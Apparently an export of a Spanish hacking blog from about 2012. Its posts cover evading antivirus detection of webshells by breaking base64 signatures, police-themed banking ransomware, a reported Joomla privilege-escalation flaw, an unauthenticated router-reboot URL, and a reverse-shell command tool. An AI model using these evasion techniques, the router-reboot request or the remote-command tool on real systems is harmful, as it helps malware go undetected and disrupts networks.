<span style="font-size: small;">Y aquí es donde entra un método común entre los modders de malware y no es otro que el AVFuck, se trata de buscar en el caso de un fichero binario el offsets donde cae la firma que el antivirus le ha puesto al fichero supuestamente dañino, lo que en vez de offsets y un binario se hará a caracteres de un fichero de texto de tal modo que rompa la firma.</span> </div>
<div align="justify">
<span style="font-size: small;">Tras hacer varias pruebas cambiando caracteres de la string en base64 que es en lo que básicamente se basa el método AVFuck se logró haciendo dos simples salto de línea antes y después de un carácter dejarla indetectable a Avira quedando de la siguiente forma.</span> </div>
<div align="center">
<img alt="clip_image010" src="http://windowstecnico.com/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/windowstecnico/clip_5F00_image010_5F00_thumb_5F00_3D12A9B0.jpg" /><br />
<span style="font-size: x-small;"><i>Imagen 5: firma rota</i></span></div>
<div align="justify">
<span style="font-size: small;">Quedando de esta forma indetectable y funcional.</span> </div>
<div align="justify">
<span style="font-size: small;"><b>Conclusión:</b></span> </div>
<div align="justify">
<span style="font-size: small;">Los antivirus siguen utilizando las mismas técnicas ineficaces con los binarios y los archivos de texto plano. En la próxima entrada se desarrollará una aplicación para facilitar el proceso del método AVFuck</span> </div>
<div align="justify">
<span style="font-size: x-small;"></span></div>
<br />
<div style="text-align: center;">
=========================================================================</div>
<div style="text-align: center;">
Hacer webshell indetectables parte I de III</div>
<div style="text-align: center;">
<a href="http://code-disaster.blogspot.com.es/2013/07/hacer-webshell-no-detectables-parte-ii.html" target="_blank">Hacer webshell indetectables parte II de III</a><br />
<a href="http://code-disaster.blogspot.com.es/2013/08/hacer-webshell-indetectables-parte-iii.html" target="_blank">Hacer webshell indetectables parte III de III</a> </div>
<div style="text-align: center;">
=========================================================================</div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com2tag:blogger.com,1999:blog-1612739396540967045.post-56652877397683171762012-11-06T11:44:00.000-08:002012-11-06T11:56:35.610-08:00Malware bancario en ordenadores personales<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
En esta entrada voy a tratar del malware bancario que tan extendido está, y sus variantes. </div>
<div class="separator" style="clear: both; text-align: center;">
A lo largo de esta semana sin ir mas lejos dos familiares me han llamado preocupados por que sus ordenadores no les permitían hacer lo habitual tal que así que las 4 imagenes de esta entrada son las de los escritorios de sus equipos, los dos corrían bajo Windows 7 SP1 con Avira actualizado, que como sucede con otros antivirus, no detectan malware recién salido del horno, ya que no los tienen firmados y en cuanto a heurística todavía se tiene mucho que mejorar. </div>
<div class="separator" style="clear: both; text-align: center;">
Algo que por el contrario en windows 7 no es posible y que se solía utilizar para impedir la utilización habitual del escritorio era el cierre del proceso explorer.exe en Windows XP. Lamentablemente no pude analizar el malware al no disponer del tiempo que ansiaba ni de las herramientas. </div>
<div class="separator" style="clear: both; text-align: center;">
La solución fue entrar al Windows en modo seguro borrar las entradas del registro que iniciaba el malware, ver a donde apuntaba la clave, y así también borrar el ejecutable, seguramente éste apuntaba a otro que sería el malware en sí pero una vez borrado el que se encargaba en caso de cierre de re-iniciarlo ya solo tendría que esperar que el antivirus hiciese su trabajo en un futuro espero que temprano.</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
Con lo que se encontraron...</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
Caso 1:</div>
<div class="separator" style="clear: both; text-align: center;">
En este primero se ve el logo de la Guardia Civil, implica seriedad, hace pensar a muchos que algo malo haz hecho y que mejor hacer frente al pago de la multa y quitárselo de encima, más aún, si tienes algo pendiente con la justicia, que no es el caso de mi familiar, pero que se pueda dar en muchos otros casos.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjliYl3D1T7mIh563obIxXIfJClDVQIG8an_y7TUm_2dmgHu1n00-N5B90uZn1D0iEGhPBjHXLuU95VZKHhw2R7PTLy98WiTkL7hzUFXvUplTrukjx1LtIn6wOIp_4uFGppiL81deYR47ha/s1600/2012-06-06+17.31.57.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjliYl3D1T7mIh563obIxXIfJClDVQIG8an_y7TUm_2dmgHu1n00-N5B90uZn1D0iEGhPBjHXLuU95VZKHhw2R7PTLy98WiTkL7hzUFXvUplTrukjx1LtIn6wOIp_4uFGppiL81deYR47ha/s320/2012-06-06+17.31.57.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdTacAd2C2sH64baAein_FaCgfW9CR2XM07FWnXrA7xsOVhMKSKbt-lYQSfwbwhMnIxnaChJaw5qi3o71XrmhhQB01o-gyEuVnn4Wm1TTlacnRNDF0R3G1eRh5_yU-cbLAzskbHsExohIB/s1600/2012-06-06+17.32.08.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdTacAd2C2sH64baAein_FaCgfW9CR2XM07FWnXrA7xsOVhMKSKbt-lYQSfwbwhMnIxnaChJaw5qi3o71XrmhhQB01o-gyEuVnn4Wm1TTlacnRNDF0R3G1eRh5_yU-cbLAzskbHsExohIB/s320/2012-06-06+17.32.08.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="text-align: center;">
Caso 2:</div>
<div style="text-align: center;">
Este me pareció mucho más creíble, mucho mas trabajado, el simple hecho de verte en la aplicación ya que te activaba la cámara imponía mucho más, lo cierto es que este me gusto mucho, se habían trabajado incluso el teclado virtual en la aplicación para hacerte sentir seguro a la hora de escribe el número de tu tarjeta.... En cuanto a lo demás del diseño era prácticamente igual, logo del gobierno de España y de la Guardia Civil, además de una explicación de la ley que incumpliste nada mas y nada menos que la de tener imagenes de menores.</div>
<div style="text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0Ri2tS-bIZREDtD6KvzNi7-UXCp01pb0-K-biGVu2mJsZ9EFLc76NDsFHUKi1LpUbom42S_T5h7dGcATwrmbYqRRUOuKPQ_ZpNT2_FQerafDzD-lD4ZKtEJOmeY3Dxg4Sdfng8cY_9rEY/s1600/2012-06-12+15.29.49.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0Ri2tS-bIZREDtD6KvzNi7-UXCp01pb0-K-biGVu2mJsZ9EFLc76NDsFHUKi1LpUbom42S_T5h7dGcATwrmbYqRRUOuKPQ_ZpNT2_FQerafDzD-lD4ZKtEJOmeY3Dxg4Sdfng8cY_9rEY/s320/2012-06-12+15.29.49.jpg" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7wQDEDuprexDRjy2NwgMICwDuikZ95XRlowpuiE0EyOayrfC_4f2PC7S1g3oU104kmG1h-yNjvyL84WMHhHzrGau42h5wD7ZR_TySlRKNSa_SgXK5P3SMXkS9gNZVN1HFA5B63Ycrzbew/s1600/2012-06-12+15.29.57.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7wQDEDuprexDRjy2NwgMICwDuikZ95XRlowpuiE0EyOayrfC_4f2PC7S1g3oU104kmG1h-yNjvyL84WMHhHzrGau42h5wD7ZR_TySlRKNSa_SgXK5P3SMXkS9gNZVN1HFA5B63Ycrzbew/s320/2012-06-12+15.29.57.jpg" width="320" /></a></div>
<br />
<div style="text-align: center;">
Luego, no es de extrañar que encontremos los datos de nuestras tarjetas bancarias en webs dedicadas a la venta de las mismas, como puede ser ésta web, <a href="http://cardershop.ru/">http://cardershop.ru/</a> . Desde Rusia como mucho amor.</div>
<div>
</div>
MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com0tag:blogger.com,1999:blog-1612739396540967045.post-40891967392808310292012-10-25T11:17:00.000-07:002012-11-01T05:29:24.338-07:00Vulnerabilidad en fpinnovaA finales del año del ciclo superior, reporté una vulnerabilidad de escalada de privilegios en nuestro <a href="http://fpinnova.ieselrincon.org/">http://fpinnova.ieselrincon.org</a> al parecer la versión del joomla era vulnerable permitía a un atacante registrarse como administrador y acceder al panel de administración con dichos privilegios.<br />
<br />
La vulnerabilidad residia en:<br />
<a href="http://fpinnova.ieselrincon.org/index.php/component/users/?view=registration">http://fpinnova.ieselrincon.org/index.php/component/users/?view=registration</a><br />
<br />
Y como en todas sus versiones el panel de administracion estaba alojado en:<br />
<a href="http://fpinnova.ieselrincon.org/administrator/">http://fpinnova.ieselrincon.org/administrator/</a><br />
<br />
El panel de administración lo más que dejaba hacer era añadir noticias, modificarlas y eliminarlas, la configuración de este estaba por defecto con lo cual no se podia subir ninguna webshell y asi controlar el servidor.<br />
<br />
Al final les recomendé que dieran de baja el registro, y se dio de baja el login ... ¬¬ y ahora se produce al intentar loggearse un error 500:<br />
<a href="http://fpinnova.ieselrincon.org/index.php/component/users/?task=user.login">http://fpinnova.ieselrincon.org/index.php/component/users/?task=user.login</a><br />
<br />
pero esta solución se ha quedado corta ya que se puede seguir atacanto de otra forma.<br />
<br />
Lo que han dado de baja es la aplicación para loggeo a usuarios. No la aplicación vulnerable en sí, que es donde se registran.<br />
Pero bueno no les importaran que se siga llenando la base de datos de administradores, algo que escapa a mi entender.<br />
<br />MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com0tag:blogger.com,1999:blog-1612739396540967045.post-30596579537589182532012-10-25T09:44:00.002-07:002012-10-25T09:47:34.016-07:00Un dia cualquieraHace un tiempo detallaba un fallo que daba como resultado el reinicio de los routers Zyxel P-870HW-51A.<br />
<a class="postlink" href="http://code-disaster.blogspot.com.es/2011/12/reiniciando-routers-ultimo-modelo-de.html">http://code-disaster.blogspot.com.es/2011/12/reiniciando-routers-ultimo-modelo-de.html</a><br />
<br />
Hoy
estando en clase me dio por hacer un tracert hacia google para ver por
donde se paseaba tan solo hasta llegar hasta la ultima subred antes de
salir al exterior y quedaba así.<br />
<br />
192.168.13.1 <- en esta subred estoy yo y esta es la ip del router, puerto 80 capado.<br />
192.168.3.1 <- y esta es la ip de otro router puerto 80 abierto.<br />
192.168.153.1 <- este es otro router puerto 80 capado.<br />
<br />
bien pues pruebo a conectarme al router con el puerto abierto y veo que me solicita user y pass <img alt=":good:" src="http://www.indetectables.net/images/smilies/biggrin.gif" title="good" />
probé unas cuantas por defecto aunque ya de un principio descartaba
que fuese tan facil así que vi que el modelo de router era este
'comtrend gigabit 802.11n' diferente del que dispongo en mi casa.<br />
<br />
Bien
pues probé con el mismo método para el router Zyxel P-870HW-51A que
había descubierto y que sin necesidad ni de usuario ni contraseña
permitía reiniciarlos y que casualidad que se encontraba el mismo
archivo en la misma ubicación que lo reiniciaba, probé
'http://192.168.3.1/rebootinfo.cgi' y al hacerle la petición me
redireccionó a otra pagina que me detallaba que ( pasado 2 minutos
estaría levanto otra vez el router ) <img alt=":dance2:" src="http://www.indetectables.net/images/smilies/dance2.gif" title="dance2" />
, jaja y que, pues hice un ping al router y no me devolvió ninguna
respuesta, hice un tracert y tampoco. El caso es que me hubiese encantado
contarles que dejé a varias aulas sin red pero resultó que aunque
haciéndole el tracert a google y no pasando de la 14.1 seguía teniendo
mediante el navegador internet tardó algo mas de lo normal en conectar
con google pero recibí la web antes de esos 2 minutos, algo que no me
explico.<br />
<br />
Le pregunte a mi profesor de red, y al final parece ser que una vez caido este router se busca otra salida através de otro que no me aperecia en el tracert quedando algo asi:<br />
<br />
<br />
1 192.168.13.1<br />
2 *****<br />
3 *****<br />
4 192.168.153.1 (192.168.153.1) 25.834 ms 26.526 ms 26.210 ms<br />
5 2.red-80-58-122.staticip.rima-tde.net (80.58.122.2) 27.254 ms 26.217 ms 25.968 ms<br />
6 et4-0-0-0-grtmadad1.red.telefonica-wholesale.net (213.140.51.13) 54.982 ms 53.849 ms 53.726 ms<br />
<br />
Al final Tibu y yo le dimos una solución denegamos el acceso con el firewall por el puerto 80 a la 3.1 y se terminó ya que ninguna de estas marcas de router me dio solución:<br />
<br />
Zyxel:<br />
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">
Mensaje:</div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">
Buenos dias,</div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">
<br /></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">
Muchas gracias por su colaboracion. Vamos a pasar la informacion a nuestro departamento de firmware.</div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">
<br /></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">
un salqudo</div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: white; color: #222222; font-family: arial, sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">
Iván Bernal Villa<br />
Support Engineer & RMA Manager<span class="Apple-converted-space"> </span><span class="il" style="background-color: #ffffcc; background-position: initial initial; background-repeat: initial initial; color: #222222;">ZyXEL</span><span class="Apple-converted-space"> </span>Spain -<span class="Apple-converted-space"> </span><a href="http://www.zyxel.es/" style="color: #1155cc;" target="_blank">www.<span class="il" style="background-color: #ffffcc; background-position: initial initial; background-repeat: initial initial; color: #222222;">zyxel</span>.es</a></div>
<br />
<br />
Comtrend: <br />
llevo 4 semanas esperando su contestación....<br />
<br />
<br />
Conclusión:<br />
siendo este de otra marca, me ha dado que pensar, cuantas otras marcas utilizan esta misma arquitectura de directorios <img alt=":g:" src="http://www.indetectables.net/images/smilies/g.gif" title="g" /> , comtrend y Zyxel por ahora..., si alguien más lo pudiese probar con sus routers se lo agradecería que me lo dijera.<br />
<br />
Salu2!<br />
<br />
* Comtrend 96348GW-11 también son vulnerables<br />
* La vulnerabilidad ya se habia dado en otras marcas <a href="http://netsec.rs/31/huawei-hg510-multiple-vulnerabilities/494/" target="_blank">Huawei HG510 Multiple Vulnerabilities</a><br />
(pero en este caso necesitabas usuario y contraseña) MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com0tag:blogger.com,1999:blog-1612739396540967045.post-62990017812556801772012-10-09T02:26:00.000-07:002012-10-15T00:23:24.685-07:00 JCat Conexión Inversa y Directa JCat es una aplicación que la cree hace mucho, pero por no tener tiempo no he podido hacer el tutorial del manejo.
Mas que nada les va a servir para aprender a utilizar Thread y Sockets que es lo mas importante en el. basicamente ejecuta comandos en las maquinas víctimas y devuelven el resultado en el atacante.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://imageshack.us/a/img547/3258/jcat.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="296" src="http://imageshack.us/a/img547/3258/jcat.png" width="400" /></a></div>
<br />
<br />
Aqui les dejo un tutorial con el manejo del mismo <a href="http://www.multi-upload.me/c7ciux2h77bt/JCat%20Tutorial_multiupload-download-.pdf.html" target="_blank">http://www.multi-upload.me/c7ciux2h77bt/JCat%20Tutorial_multiupload-download-.pdf.html</a><br />
es necesario tener la maquina virtual de Java evidentemente.
luego lo compilan en linux con: javac JCat.java.
y para iniciarlo tanto en win como el linux: java JCat.
Y aqui el code.<br />
<br />
<br />
<script src="http://pastebin.com/embed_js.php?i=44h2aTBi"></script>MichBukanahttp://www.blogger.com/profile/09733559689364724120noreply@blogger.com0